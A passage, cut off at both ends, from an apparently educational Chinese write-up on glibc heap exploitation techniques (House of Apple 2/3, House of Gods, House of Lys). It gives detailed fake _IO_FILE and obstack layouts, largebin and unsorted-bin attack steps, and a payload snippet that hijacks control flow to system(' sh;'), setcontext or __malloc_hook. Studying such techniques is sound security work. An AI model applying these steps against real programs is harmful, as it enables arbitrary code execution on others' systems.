| +0x68 | _chain | [ HEAP_BASE + 0x600 ] (指向 Chunk F)
-------------------------------------------------------------------------------------------------------
| | ====== Chunk F (Apple 2 狙击母舰) 数据区开始 ====== |
HEAP_BASE + 0x600 | +0x00 | _flags | b' sh;\x00\x00\x00' (绕过安检,并作为shell)
HEAP_BASE + 0x608 | +0x08 | _IO_read_ptr | 0x0000000000000000 (0填充)
HEAP_BASE + 0x610 | +0x10 | _IO_read_end | 0x0000000000000000 (0填充)
HEAP_BASE + 0x618 | +0x18 | _IO_read_base | 0x0000000000000000 (0填充)
HEAP_BASE + 0x620 | +0x20 | _IO_write_base | 0x0000000000000000 (基址归零)
HEAP_BASE + 0x628 | +0x28 | _IO_write_ptr | 0x0000000000000001 <--- 强行使其大于 base!
HEAP_BASE + 0x630 | +0x30 | _IO_write_end / _wide_data->_buf_base| 0x0000000000000000 (必须为0以触发分配分支)
HEAP_BASE + 0x638 | +0x38 | _IO_buf_base | 0x0000000000000000 (0填充)
HEAP_BASE + 0x640 | +0x40 | _IO_buf_end | 0x0000000000000000 (0填充)
HEAP_BASE + 0x648 | +0x48 | _IO_save_base | 0x0000000000000000 (0填充)
HEAP_BASE + 0x650 | +0x50 | _IO_backup_base | 0x0000000000000000 (0填充)
HEAP_BASE + 0x658 | +0x58 | _IO_save_end | 0x0000000000000000 (0填充)
HEAP_BASE + 0x660 | +0x60 | _markers | 0x0000000000000000 (0填充)
HEAP_BASE + 0x668 | +0x68 | _chain / _wide_vtable->doallocate | [ system 的绝对物理地址 ]
HEAP_BASE + 0x670 | +0x70 | _fileno / _flags2 | 0x0000000000000000 (0填充)
HEAP_BASE + 0x678 | +0x78 | _old_offset | 0x0000000000000000 (0填充)
HEAP_BASE + 0x680 | +0x80 | _cur_column 等... | 0x0000000000000000 (0填充)
HEAP_BASE + 0x688 | +0x88 | _lock | [ 已知可写且值为0的绝对物理地址 ]
HEAP_BASE + 0x690 | +0x90 | _offset | 0x0000000000000000 (0填充)
HEAP_BASE + 0x698 | +0x98 | _codecvt | 0x0000000000000000 (0填充)
HEAP_BASE + 0x6A0 | +0xA0 | _wide_data | [ HEAP_BASE + 0x600 ] (指向 Chunk F 自己)
HEAP_BASE + 0x6A8 | +0xA8 | _freeres_list | 0x0000000000000000 (0填充)
HEAP_BASE + 0x6B0 | +0xB0 | _freeres_buf | 0x0000000000000000 (0填充)
HEAP_BASE + 0x6B8 | +0xB8 | __pad5 | 0x0000000000000000 (0填充)
HEAP_BASE + 0x6C0 | +0xC0 | _mode | 0x0000000000000000 (0填充)
HEAP_BASE + 0x6C8 | +0xC8 | _unused2 | 0x0000000000000000 (0填充)
HEAP_BASE + 0x6D0 | +0xD0 | _unused2 | 0x0000000000000000 (0填充)
HEAP_BASE + 0x6D8 | +0xD8 | vtable | [ &_IO_wfile_jumps 的绝对地址 ]
-------------------------------------------------------------------------------------------------------
| | ====== _IO_FILE 结构结束,_wide_data 专属延伸视野 ====== |
HEAP_BASE + 0x6E0 | +0xE0 | _wide_data->_wide_vtable | [ HEAP_BASE + 0x600 ] (再次指向 Chunk F自己)
-------------------------------------------------------------------------------------------------------
执行 free(L2) 并申请大块,触发 Large Bin 插入机制
【 libc 全局变量区】
_IO_list_all ===> [ HEAP_BASE + 0x470 ] (指向桥梁 Chunk L2)
【 Chunk L2 的战损与桥梁作用 】
+0x00: 被写入 main_arena 地址
+0x28: 我们主动设为 0
+0x68: 完好无损的 [ HEAP_BASE + 0x600 ] (Chunk F)
程序正常结束触发 exit()。CPU 物理执行流如下:
_IO_flush_all_lockp检查 L2,发现write_ptr(0) > write_base(0)不成立。跳过 L2。- 系统读取
L2->_chain,执行流无缝跳转至 Chunk F (HEAP_BASE + 0x600
系统检查 Chunk F 的 _flags (b' sh;\x00\x00\x00')。因为小端序低位是 0x20,完美绕过 _IO_NO_WRITES (0x8) 检查。
检查 write_ptr(1) > write_base(0) 成立
提取 vtable (_IO_wfile_jumps),跳入真实函数 _IO_wfile_overflow(fp, EOF)
进入 _IO_wfile_overflow 内部源码,系统决定是否需要分配宽字符缓冲区
C源码: if (fp->_flags & _IO_NO_WRITES)
实际判断: 0x20 & 0x8 == 0 (安检通过)
C源码: _IO_wdoallocbuf(fp);
实际判断: if (fp->_wide_data->_IO_buf_base == 0)
物理动作: 提取 [ HEAP_BASE + 0x600 + 0xA0 ] ===> 得到 HEAP_BASE + 0x600 (即 fp 本身)
检查 [ HEAP_BASE + 0x600 + 0x30 ] ===> 该偏移处为 0。条件成立!(认为尚未分配缓冲区)
进入极其致命的最终宏展开:
C源码: (fp->_wide_data->_wide_vtable->doallocate) (fp)
物理动作 1: 提取 _wide_vtable (偏移 +0xE0)
[ HEAP_BASE + 0x600 + 0xE0 ] ===> 得到 HEAP_BASE + 0x600 (依然是 fp 本身!)
物理动作 2: 提取 doallocate (偏移 +0x68)
[ HEAP_BASE + 0x600 + 0x68 ] ===> 得到 system_addr !
物理动作 3: 执行 CALL 指令
RDI (参数 1) = HEAP_BASE + 0x600 (即 fp 的绝对地址)
CALL [ system_addr ]
House of Apple3
适用版本:2.23—— 至今
堆溢出,use after free
前置知识:
_IO_wfile_underflow 是什么?
在 glibc 的 IO 部门中:
overflow(溢出): 负责处理写入(Write)时的缓冲区满载问题。underflow(下溢): 负责处理读取(Read)时的缓冲区干涸问题。
当程序调用 fgetwc 等函数尝试从文件中读取宽字符时,如果系统发现内存里的读取缓冲区已经空了(干涸了),它就会调用 _IO_wfile_underflow。
它的合法业务逻辑如下:
- 检查文件是否允许读取(检查
_flags是否包含_IO_NO_READS标志位)。 - 确认读取缓冲区确实空了(检查
read_ptr >= read_end)。 - 从底层操作系统(如硬盘)读取一批原生的字节数据。
- 调用
_codecvt(代码转换引擎):因为从硬盘读上来的是普通字节,而程序需要的是宽字符(比如把 UTF-8 转换为 wchar_t),系统必须调用转换函数进行解码。
进入 codecvt 引擎执行
系统拿到 cv 指针后,会调用 __libio_codecvt_in。这个函数的本意是:“请使用这个转换器,把刚才读到的原始字节转成宽字符。”
物理寻址流程:
- 提取步骤 (step): 源码执行
struct __gconv_step *step = cv->__cd_in.step;。- 动作: 访问
cv + 0x00(即HEAP_BASE + 0x560),我们将在这里控制待跳转地址
- 动作: 访问
- 安全检查 (shlib_handle):
- 源码:
if (step->__shlib_handle != NULL)。系统想看这个转换逻辑是否来自一个动态加载的库(比如libGBK.so)。 - 动作: 访问
step + 0x00,就是上一步跳转到的地址,我们需要把这里填为0,让系统以为这个handle为空
- 源码:
- 进入裸奔分支: 因为
handle为空,系统认为这是内核/libc 自带的转换逻辑,不需要复杂的安全校验,直接准备执行函数指针
在 glibc 2.29 之后,setcontext 的控制寄存器从 RDI 变成了 RDX(或者需要配合 getcontext),但 Apple 3 的这套流程能同时控制多个寄存器,极其方便
执行跳转的物理动作:
- 源码:
DL_CALL_FCT (step->__fct, (step, ...)) - 汇编动作:
CALL [step + 0x28](在__gconv_step结构体中,__fct偏移是+0x28) - 物理结果: 访问
step + 0x28。提取出setcontext的地址,RIP被劫持
根据 x64 调用约定(Calling Convention),函数调用的参数依次放入 RDI, RSI, RDX…
- RDI = 第一个参数 =
step: 由于调用是fct(step, ...),所以RDI被自动赋予了step的值,即step + 0x00- 用途:
setcontext会把RDI当作ucontext_t结构体,从这个堆地址开始恢复所有寄存器。
- 用途:
- RSI = 第二个参数 =
step_data: 系统从cv->__cd_in.step_data提取参数放入RSI。- 动作: 访问
cv + 0x08。 - 用途: 你可以在这里填入 ROP 链的地址,或者作为
setcontext偏移调整的跳板 - rip会从布置好的setcontext继续执行
- 动作: 访问
了解这些前置后,就可以开始利用
布置堆块布局如下:
绝对物理地址 大小 块名称
-------------------------------------------------------------------------
HEAP_BASE + 0x000 | 0x450 | Chunk L1 ( LBA 靶子)
HEAP_BASE + 0x450 | 0x020 | Chunk G1 (物理隔离墙)
HEAP_BASE + 0x470 | 0x440 | Chunk F
HEAP_BASE + 0x8B0 | 0x020 | Chunk G2 (物理隔离墙)
HEAP_BASE + 0x8D0 | ----- | Top Chunk
-------------------------------------------------------------------------
chunk F内部布置:
绝对物理地址 物理偏移 结构体内具体变量及占用大小 (8字节/行) 被强制写入的物理数据 (十六进制/说明)
------------------------------------------------------------------------------------------------------------------
| | ========================== 第一层:_IO_FILE 基础结构 ========================== |
HEAP_BASE + 0x480 | +0x00 | int _flags (4字节) + pad (4字节) | 0x0000000000000000 (绕过 _IO_NO_READS)
HEAP_BASE + 0x488 | +0x08 | char* _IO_read_ptr (8字节) | 0x0000000000000000 (确保缓冲区判定为空)
HEAP_BASE + 0x490 | +0x10 | char* _IO_read_end (8字节) | 0x0000000000000000
HEAP_BASE + 0x498 | +0x18 | char* _IO_read_base (8字节) | 0x0000000000000000
HEAP_BASE + 0x4A0 | +0x20 | char* _IO_write_base (8字节) | 0x0000000000000000 (基址归0)
HEAP_BASE + 0x4A8 | +0x28 | char* _IO_write_ptr (8字节) | 0x0000000000000001 (强制 > base)
HEAP_BASE + 0x4B0 | +0x30 | char* _IO_write_end (8字节) | 0x0000000000000000
HEAP_BASE + 0x4B8 | +0x38 | char* _IO_buf_base (8字节) | 0x0000000000000000
HEAP_BASE + 0x4C0 | +0x40 | char* _IO_buf_end (8字节) | 0x0000000000000000
HEAP_BASE + 0x4C8 | +0x48 | char* _IO_save_base (8字节) | 0x0000000000000000
HEAP_BASE + 0x4D0 | +0x50 | char* _IO_backup_base (8字节) | 0x0000000000000000
HEAP_BASE + 0x4D8 | +0x58 | char* _IO_save_end (8字节) | 0x0000000000000000
HEAP_BASE + 0x4E0 | +0x60 | struct _IO_marker *_markers (8字节) | 0x0000000000000000
HEAP_BASE + 0x4E8 | +0x68 | struct _IO_FILE *_chain (8字节) | 0x0000000000000000
HEAP_BASE + 0x4F0 | +0x70 | int _fileno (4) + int _flags2 (4) | 0x0000000000000000 (合并对齐)
HEAP_BASE + 0x4F8 | +0x78 | __off_t _old_offset (8字节) | 0x0000000000000000
HEAP_BASE + 0x500 | +0x80 | _cur_column(2)+_vtable_offset(1)+pad(5) | 0x0000000000000000 (碎变量补齐)
HEAP_BASE + 0x508 | +0x88 | _IO_lock_t *_lock (8字节) | [ 已知可写且值为0的绝对物理地址 ]
HEAP_BASE + 0x510 | +0x90 | __off64_t _offset (8字节) | 0x0000000000000000
HEAP_BASE + 0x518 | +0x98 | struct _IO_codecvt *_codecvt (8字节) | [ HEAP_BASE + 0x560 ] (指向下方第二层)
HEAP_BASE + 0x520 | +0xA0 | struct _IO_wide_data *_wide_data (8字节) | [ HEAP_BASE + 0x480 ] (Chunk F数据起址)
HEAP_BASE + 0x528 | +0xA8 | struct _IO_FILE *_freeres_list (8字节) | 0x0000000000000000
HEAP_BASE + 0x530 | +0xB0 | void *_freeres_buf (8字节) | 0x0000000000000000
HEAP_BASE + 0x538 | +0xB8 | size_t __pad5 (8字节) | 0x0000000000000000
HEAP_BASE + 0x540 | +0xC0 | int _mode(4) + char _unused2前4字节(4) | 0x0000000000000000
HEAP_BASE + 0x548 | +0xC8 | char _unused2 中间 8 字节 | 0x0000000000000000
HEAP_BASE + 0x550 | +0xD0 | char _unused2 末尾 8 字节 | 0x0000000000000000
HEAP_BASE + 0x558 | +0xD8 | const struct _IO_jump_t *vtable (8字节) | [ &_IO_wfile_jumps + 0x08 ] (错位虚表)
------------------------------------------------------------------------------------------------------------------
| | ========================= 第二层:_IO_codecvt 结构 ========================== |
HEAP_BASE + 0x560 | +0xE0 | struct __gconv_step *__cd_in.step | [ HEAP_BASE + 0x570 ] (指向下方第三层)
HEAP_BASE + 0x568 | +0xE8 | struct __gconv_step_data *__cd_in.step_data| [ RSI 目标寄存器的值:布置的 ROP 链基址 ]
------------------------------------------------------------------------------------------------------------------
| | ========================= 第三层:__gconv_step 结构 ========================= |
HEAP_BASE + 0x570 | +0xF0 | __gconv_loaded_object *__shlib_handle | 0x0000000000000000 (必须为0,绕过验证)
HEAP_BASE + 0x578 | +0xF8 | const char *__modname | 0x0000000000000000
HEAP_BASE + 0x580 | +0x100 | int __counter (4字节) + pad (4字节) | 0x0000000000000000
HEAP_BASE + 0x588 | +0x108 | char *__from_name | 0x0000000000000000
HEAP_BASE + 0x590 | +0x110 | char *__to_name | 0x0000000000000000
HEAP_BASE + 0x598 | +0x118 | __gconv_fct __fct |[ etcontext或Magic Gadget 的绝对物理地址 ]
------------------------------------------------------------------------------------------------------------------
接着是经典的Largebin attack
执行 free(L1),L1 进入 Unsorted Bin。再申请一个大块,系统将 L1 整理进入 Large Bin
利用堆溢出,或者 UAF 漏洞,修改已在 Large Bin 里的 Chunk L1 的 bk_nextsize 字段: 将其覆盖为:_IO_list_all_addr - 0x20
执行 free(F),Chunk F 进入 Unsorted Bin。再次申请一个大块。 系统发现 F (0x440) 比 L1 (0x450) 小,决定把 F 插入到 L1 的后面
宏调用展开:L1->bk_nextsize->fd_nextsize = Chunk_F_Addr;
物理对撞:
目标内存:(_IO_list_all - 0x20) + 0x20 ===> 即 _IO_list_all 全局变量本身。
写入数据:HEAP_BASE + 0x470 ===> 即 Chunk F 的块头地址。
战果:_IO_list_all ===> [ HEAP_BASE + 0x470 ]
执行 exit() 结束程序,交出 CPU 控制权
- 欺骗 _IO_flush_all_lockp (虚表错位跳转): 系统检查到
write_ptr(1) > write_base(0)。提取虚表_IO_wfile_jumps + 0x08,读取偏移+0x18处的函数。 实际上读取到了_IO_wfile_underflow。执行流跳入! - _IO_wfile_underflow 内部剥洋葱: 安检
_flags(0)、read_ptr < read_end(0<0) 全过。 系统提取fp->_codecvt。 物理动作: 读取HEAP_BASE + 0x518,获得HEAP_BASE + 0x560。 - 进入 codecvt 引擎执行核爆: 系统跳入
__libio_codecvt_in。 提取__cd_in.step。 物理动作: 读取HEAP_BASE + 0x560,获得HEAP_BASE + 0x570。检查__shlib_handle。 物理动作: 读取HEAP_BASE + 0x570,值为 0,直接放行进入裸奔分支! - 寄存器完美布局与执行: 系统准备执行
__fct。 物理动作: 提取HEAP_BASE + 0x598,得到setcontext的地址。 准备寄存器:RDI=__cd_in.step本身 ===> RDI =HEAP_BASE + 0x570RSI=__cd_in.step_data===> RSI =[ HEAP_BASE + 0x568 ](你填入的 ROP 链基址) 执行CALL setcontext_addr!
后续的流程就是 setcontext 根据 RDI 或 RSI 里的数据恢复各个寄存器(尤其是 RSP),从而完美切入你在堆上布置的 ROP 链
House of Gods
适用版本:2.23——2.27
堆溢出
前置知识:
binmap 的业务逻辑是什么? 在 main_arena 内部,系统为了快速查找哪个 Bin 里有空闲的堆块,设计了一个“位图”(Bitmap)。 它定义为:unsigned int binmap[4]; (4 个 32 位的无符号整型,总共占用 16 字节)。 每当一个堆块被放入 Bin 中,系统就会把对应的“位”标记为 1
假设新放入的堆块是 Small Bin 的第 9 号索引,那么系统就会执行:让 binmap[0] 的第 9 位置为 1。 数学上:1 << 9 的十进制是 512,转换为十六进制就是 0x200
地址偏移 对应原生变量 十六进制字节存放 (小端序) 含义说明
+0x848 | binmap[0] | 00 | (低位字节)
+0x849 | binmap[0] | 02 | (0x200 的有效位就存这里)
+0x84A | binmap[0] | 00 |
+0x84B | binmap[0] | 00 | (高位字节)
-------------------------------------------------------------------------
+0x84C | binmap[1] | 00 | (由于没别的块,全为 0)
+0x84D | binmap[1] | 00 |
+0x84E | binmap[1] | 00 |
+0x84F | binmap[1] | 00 |
当你执行 malloc(0xffffffffffffffbf + 1),也就是申请 0xffffffffffffffc0 (接近 16 EB 的天文数字) 时,系统进入 _int_malloc 函数
_int_malloc 发现当前管辖的堆内存彻底枯竭,只能向底层的操作系统求援。于是,它无条件执行了: return sysmalloc(nb, av);
进入 sysmalloc 后,系统准备调用 mmap 或者 sbrk 向 Linux 内核要这 16 EB 的内存
// glibc 内部 sysmalloc 的容量核对逻辑
if (av->system_mem + size > av->max_system_mem) {
// 触发系统内存超限保护
}
如果我们这里将system_mem改的非常大,CPU 在进行 av->system_mem + size 的加法运算时,直接发生整数溢出(Integer Overflow)
sysmalloc 内部的安检机制瞬间被触发,它认为系统的内存记录已经彻底崩坏或达到了物理极限,拒绝执行任何耗时的系统调用,直接返回 NULL(0 内存)
sysmalloc 灰溜溜地把 NULL 返回给了最外层的 __libc_malloc 统筹函数
// __libc_malloc 源码
victim = _int_malloc (ar_ptr, bytes); // 这里因为 sysmalloc 失败,返回了 NULL!
if (!victim && ar_ptr != NULL) { // 分配失败,且当前有 Arena
ar_ptr = arena_get_retry (ar_ptr, bytes); // 触发急救!尝试换一个分配器!
victim = _int_malloc (ar_ptr, bytes);
}
统认为:“当前这个 main_arena 已经完全阻塞了,我必须换一个 Arena 试试!”。执行流成功掉进 arena_get_retry
在 arena_get_retry 内部,系统面临终极抉择:是新建(new)还是重用(reuse)?
// glibc 内部急救逻辑:
if (narenas < mp_.arena_max) {
// 如果当前的 Arena 数量还没达到系统上限 (通常等于 CPU 核心数 * 8)
// 系统会调用 mmap 去开辟一块全新的、干净的内存作为 Arena
result = _int_new_arena();
} else {
// 如果系统认为 Arena 已经爆满了,不能再建了
// 它就会去遍历现有的 Arena 链表,也就是去读取 main_arena.next!
result = reused_arena();
}
narenas 正常情况下很小(比如只有 1)。如果我们不改它,系统就会走新建分配器这条路
但如果我们把narenas改得很大,narenas < mp_.arena_max 为假,系统判定:“Arena 数量已爆满,不能再新建了,必须去链表里找旧的!”执行流成功转入 reused_arena
它的底层逻辑极其简单粗暴:顺着 next 指针往下摸。
result = result->next;
如果我们将这个struct malloc_state *next 改成Fake_Arena_Addr,系统就会执行thread_arena = Fake_Arena_Addr,然后听从我们伪造的thread_arena的指挥
初始化堆布局如下:
低地址 (Heap 内存区)
-------------------------------------------------------------------------
绝对物理地址 大小 块名称 / 当前状态
-------------------------------------------------------------------------
HEAP_BASE + 0x000 | 0x090 | Chunk S1 (即将被用来生成假尺寸)
HEAP_BASE + 0x090 | 0x020 | Chunk G1 (物理隔离墙)
HEAP_BASE + 0x0B0 | 0x810 | Chunk Large (普通使用块)
HEAP_BASE + 0x8C0 | 0x110 | Chunk U1 (第一发 UBA )
HEAP_BASE + 0x9D0 | 0x020 | Chunk G2 (物理隔离墙)
HEAP_BASE + 0x9F0 | 0x110 | Chunk U2 (第二发 UBA )
HEAP_BASE + 0xB00 | 0x020 | Chunk G3 (物理隔离墙)
HEAP_BASE + 0xB20 | ----- | Top Chunk (荒野)
-------------------------------------------------------------------------
高地址
free(S1) 让S1 进入 Unsorted Bin
再malloc(0x800),触发系统整理将S1放入small bin
由于 S1 进入了 Small Bin [9],系统底层执行了 main_arena.binmap[0] |= (1 << 9)。 在遥远的高地址 libc 中,一个天然的、大小为 0x200 的假块(Fake Chunk)诞生了
低地址 (Libc 内存区 - .data 段)
-----------------------------------------------------------------------------------------
绝对物理地址 原生字段 (struct malloc_state) 天然形成的 Fake Chunk 结构
-----------------------------------------------------------------------------------------
MAIN_ARENA_BASE + 0x840 | bins[126].bk (堆指针) | prev_size
MAIN_ARENA_BASE + 0x848 | binmap[0] 和 binmap[1] | size ===> 0x0000000000000200
MAIN_ARENA_BASE + 0x850 | binmap[2] 和 binmap[3] | fd
MAIN_ARENA_BASE + 0x858 | struct malloc_state *next | bk ===> [ MAIN_ARENA_BASE ]
MAIN_ARENA_BASE + 0x860 | next_free | (未来将被申请出去的用户数据区)
-----------------------------------------------------------------------------------------
高地址
接着free(U1)
利用堆溢出或者use after free
将 U1 的 bk 指针,精准指向 libc 里的 Fake Chunk 块头
低地址 (Heap 内存区)
-------------------------------------------------------------------------
HEAP_BASE + 0x8C0 | Chunk U1
| +0x00 prev_size
| +0x08 size = 0x111
| +0x10 fd = 0x00
| +0x18 bk = [ MAIN_ARENA_BASE + 0x840 ] (死死咬住 libc 里的 Fake Chunk!)
-------------------------------------------------------------------------
高地址
# 系统顺着 U1 的 bk,飞跃到 libc,找到了那个 size 为 0x200 的 Fake Chunk,并把它分配给了你!
Target = malloc(0x1f0)
# 现在,Target 指向了 MAIN_ARENA_BASE + 0x850 (Fake Chunk 的用户数据区起址)
# 执行绝对覆写:
payload = p64(0) # +0x850 覆盖 binmap[2,3]
payload += p64(Fake_Arena_Addr) # +0x858 覆盖 next 指针!
payload += p64(0) # +0x860 覆盖 next_free
payload += p64(0) # +0x868 覆盖 attached_threads
payload += p64(0xFFFFFFFFFFFFFFFF) # +0x870 覆盖 system_mem
edit(Target, payload)
为了防止系统在异常时创建新的 Arena,必须把记录 Arena 数量的全局变量 narenas 改成一个极大的值
free(U2),U2放入 Unsorted Bin
利用漏洞篡改 U2 的 bk,瞄准 narenas 的前 0x10 字节
接着malloc(0x100),精确匹配并分配 U2
触发U2脱下unsorted bin链,然后U2的bck->fd=MAIN_ARENA_BASE + 0x58
即narenas =MAIN_ARENA_BASE + 0x58
绝对物理地址 (libc .data 段) 原生变量名称 被强制写入的物理数据 (8字节/行)
-----------------------------------------------------------------------------------------------------------------
narenas_addr - 0x10 | (其他全局变量) | 正常数据
narenas_addr - 0x08 | (其他全局变量) | 正常数据
narenas_addr + 0x00 | int narenas | [ MAIN_ARENA_BASE + 0x58 ] (被替换为一个巨大的堆栈指针!)
narenas_addr + 0x08 | (其他全局变量) | 正常数据
-----------------------------------------------------------------------------------------------------------------
narenas 瞬间变得极其巨大,系统判定“不能再创建任何新 Arena”
所有的陷阱都已经布置完毕:
next指针变成了你控制的Fake_Arena_Addr。system_mem变成了0xFFFFFFFFFFFFFFFF(必将引发溢出失败)。narenas变成了巨大数值(系统判定严禁新建 Arena)
接着malloc(0xffffffffffffffbf + 1)
申请巨大内存,main_arena 失败,转入 sysmalloc
sysmalloc 读取 system_mem,加法溢出,彻底崩溃,返回 NULL
libc 收到 NULL,触发 arena_get_retry 尝试换分配器。
检查 narenas 发现巨大数值,进入 reused_arena 寻找旧分配器
读取 main_arena.next,直接读出 Fake_Arena_Addr
执行 thread_arena = Fake_Arena_Addr
如果之前在Fake_Arena->fastbinsY[2] (即偏移 +0x10 的地方) 填入了__malloc_hook 的地址, 在拿到thread_arena后调用一次 malloc(0x38)
系统就会返回__malloc_hook所在的内存,后续可以修改为one_gadget劫持malloc的调用
House of Lys
适用版本:2.23 ——2.36
堆溢出,use after free
前置知识:
obstack (Object Stack / 对象栈) 是什么? 在早期的 GNU C 库(glibc)开发中,程序员发现频繁地调用 malloc 和 free 去申请零碎的小内存,既慢又容易产生内存碎片。 于是他们发明了 obstack 这个扩展库。它就像一个“内存池”,允许你连续不断地向里面塞数据,当内存不够用时,它会自动去向系统申请一大块新的内存(Chunk),并把旧数据接续过去
obstack的哲学:** 就像是租下整个体育馆,然后在里面拉布帘。 系统一次性向内核申请一块极其巨大的内存(Chunk)。然后当程序需要内存时,系统直接在这个大内存里划一道线(移动指针)分给你。- 最大优势: 它释放内存时,不需要像
free那样一个个回收,而是直接把那道线往回一拉,瞬间全部清空!这对于需要频繁分配小对象、最后又要一起销毁的场景具有很大优势
为了让这个内存池足够灵活,开发者允许用户自定义“如何去申请新内存”。于是他们在 struct obstack 结构体里,留下了两个极其原始的函数指针:
chunkfun:当内存不够时,调用这个函数去要内存(默认是malloc)。freefun:当销毁内存池时,调用这个函数去释放内存(默认是free)
后来,glibc 引入了标准的文件流系统(_IO_FILE,也就是我们常用的 stdin, stdout, fopen 等)。 有些程序员提出:“我能不能像写文件一样,把数据写进 obstack 内存池里?” 为了满足这个需求,glibc 开发者硬生生地把 _IO_FILE 和 obstack 拼在了一起,创造了 _IO_obstack_file 这个结构体:
struct _IO_obstack_file {
struct _IO_FILE_plus file; // 标准的流结构体 (占 0xE0 大小)
struct obstack *obstack; // 一个指针,指向背后的内存池控制块
};
如果我们在伪造的流中,把 write_ptr 设为 1,write_base 设为 0。
系统一看:“哎呀,这个文件里还有 1 个字节的脏数据没写出去!我得赶紧调用虚表里的 _IO_OVERFLOW 函数,把它刷新掉
我们可以把虚表布置为IO_obstack_jumps + 0x20
系统本来想调用在 +0x18 的 OVERFLOW ,但它实际拿到了原本放在 IO_obstack_jumps +0x38 的 _IO_obstack_xsputn 它毫不怀疑地照着执行了
(在 glibc 的源码中,_IO_obstack_jumps 这个虚表的 +0x38 偏移处,存放的函数恰好是 _IO_obstack_xsputn)
CPU 跑进了 xsputn 函数。这个函数的作用是“把一串数据塞进 obstack 内存池”。它提取了底层的 obstack 结构体,调用 obstack_grow 准备写入
要是我们在 obstack 结构体里,把代表内存容量的 next_free 和 chunk_limit 全设成了 0。系统一看:“内存池满了,连 1 个字节都塞不下了,必须马上开辟新内存块!”
为了开辟新内存,系统进入了 _obstack_newchunk 函数,并调用了那个旧时代的宏 CALL_CHUNKFUN
如果这时候我们已经把use_extra_arg 标志位设为 1(代表用户自定义了内存分配函数)
- 并且拿到我们写在
chunkfun里的system地址。 - 还拿到了我们写在
extra_arg里的 堆区字符串(sh;)地址,并放进了RDI寄存器。
系统就会忠诚地执行:system(" sh;")
了解这些前置后,就可以开始利用
先申请堆块布局如下:
低地址 (Heap 内存区)
+----------------------------------+
| Chunk L1 (大小 0x450) | <--- HEAP_BASE + 0x000 (准备当靶子)
+----------------------------------+
| Chunk G1 (大小 0x020) | <--- HEAP_BASE + 0x450
+----------------------------------+
| Chunk F (大小 0x440) | <--- HEAP_BASE + 0x470
| (用户数据区起点:+0x480) |
+----------------------------------+
| Chunk G2 (大小 0x020) | <--- HEAP_BASE + 0x8B0
+----------------------------------+
| Top Chunk |
+----------------------------------+
高地址
接着是Large bin Attack
free(L1) ,L1 进入 Unsorted Bin
然后申请超大快malloc(0x800),触发系统整理将L1放入Large bin
接着编辑 Chunk F
绝对物理地址 物理偏移 原生结构体变量 (64位 8字节对齐) 被强制写入的物理数据 (十六进制/说明)
------------------------------------------------------------------------------------------------------------------
| | ========================= 第一层:_IO_FILE 基础结构 ========================= |
HEAP_BASE + 0x480 | +0x00 | _flags (8字节) | 0x000000003b687320 (精心构造的 b' sh;')
HEAP_BASE + 0x488 | +0x08 | _IO_read_ptr | 0x0000000000000000
... | ... | (read_end, read_base 填 0) | 0x0000000000000000
HEAP_BASE + 0x4A0 | +0x20 | _IO_write_base | 0x0000000000000000 (基址归0)
HEAP_BASE + 0x4A8 | +0x28 | _IO_write_ptr | 0x0000000000000001 (强制 > base)
... | ... | (中间各路指针全填 0) | 0x0000000000000000
HEAP_BASE + 0x508 | +0x88 | _lock | [ 已知可写且值为0的绝对物理地址 ]
... | ... | (各种 unused 和 pad 填 0) | 0x0000000000000000
HEAP_BASE + 0x558 | +0xD8 | vtable | [ &_IO_obstack_jumps + 0x20] (错位虚表)
------------------------------------------------------------------------------------------------------------------
| | =================== 第二层:_IO_obstack_file 专属扩展 ======================= |
HEAP_BASE + 0x560 | +0xE0 | struct obstack *obstack | [ HEAP_BASE + 0x568 ](指向下方紧邻数据区)
------------------------------------------------------------------------------------------------------------------
| | =================== 第三层:struct obstack 本体结构 ========================= |
HEAP_BASE + 0x568 | +0xE8 | ob->chunk_size | 0x0000000000000000
HEAP_BASE + 0x570 | +0xF0 | ob->chunk | 0x0000000000000000
HEAP_BASE + 0x578 | +0xF8 | ob->object_base | 0x0000000000000000
HEAP_BASE + 0x580 | +0x100 | ob->next_free | 0x0000000000000000 (分配新块的关键:设为0)
HEAP_BASE + 0x588 | +0x108 | ob->chunk_limit | 0x0000000000000000 (分配新块的关键:设为0)
HEAP_BASE + 0x590 | +0x110 | ob->temp (union) | 0x0000000000000000
HEAP_BASE + 0x598 | +0x118 | ob->alignment_mask (4) + pad (4) | 0x0000000000000000
HEAP_BASE + 0x5A0 | +0x120 | ob->chunkfun | [ system 或 Gadget 的绝对物理地址 ]
HEAP_BASE + 0x5A8 | +0x128 | ob->freefun | 0x0000000000000000
HEAP_BASE + 0x5B0 | +0x130 | ob->extra_arg | [ HEAP_BASE + 0x480 ] (这是系统稍后传给 RDI 的参数,指向 ' sh;')
HEAP_BASE + 0x5B8 | +0x138 | ob->use_extra_arg (及其他位域) | 0x0000000000000001 (必须置1激活带参数调用模式)
------------------------------------------------------------------------------------------------------------------
然后free(F)
利用堆溢出或 UAF,修改已在 Large Bin 中的 L1 的 bk_nextsize
将 L1->bk_nextsize 改为 _IO_list_all – 0x20
再次申请大块malloc(0x800)
系统在分配 0x800 时,遍历 Unsorted Bin 发现了 Chunk F (0x440)。 系统对比大小,发现 F (0x440) 比 L1 (0x450) 小,决定把 F 挂到 L1 的后方。 执行 C 源码插入宏:L1->bk_nextsize->fd_nextsize = Chunk_F_Addr
即_IO_list_all ===> [ HEAP_BASE + 0x470 ]
最后执行 exit() 结束程序。系统接管 CPU,开始遍历 _IO_list_all 准备刷新缓冲区
欺骗 _IO_flush_all_lockp (虚表错位跳转):
- 系统读取
_flags和指针,发现write_ptr(1) > write_base(0)成立。 - 系统准备调用
_IO_OVERFLOW(对应虚表偏移+0x18)。 - 物理对撞: 系统访问
(&_IO_obstack_jumps + 0x20) + 0x18=&_IO_obstack_jumps + 0x38。 - 结果: 偏移
0x38刚好是_IO_obstack_xsputn!执行流强行拐弯进入该函数。
引诱 obstack_grow 报错:
xsputn内部提取fp->obstack,读到HEAP_BASE + 0x568。- 函数调用
obstack_grow(ob, ...)。 - 物理对撞: 检查
ob->next_free + len > ob->chunk_limit。 - 系统读取
+0x580(值为 0) 和+0x588(值为 0)。因为有数据要写入(len > 0),所以0 + len > 0成立! - 结果: 系统判定“当前 obstack 内存耗尽”,必须调取底层的
_obstack_newchunk去开辟新内存。
剥离保护然后 (CALL_CHUNKFUN):
- 进入
_obstack_newchunk,系统准备执行终极分配宏。 - 物理对撞 1 (安检): 检查
ob->use_extra_arg。CPU 访问+0x5B8,值为 1。安检通过,走附带参数的CALL分支。 - 物理对撞 2 (提取指令): CPU 访问
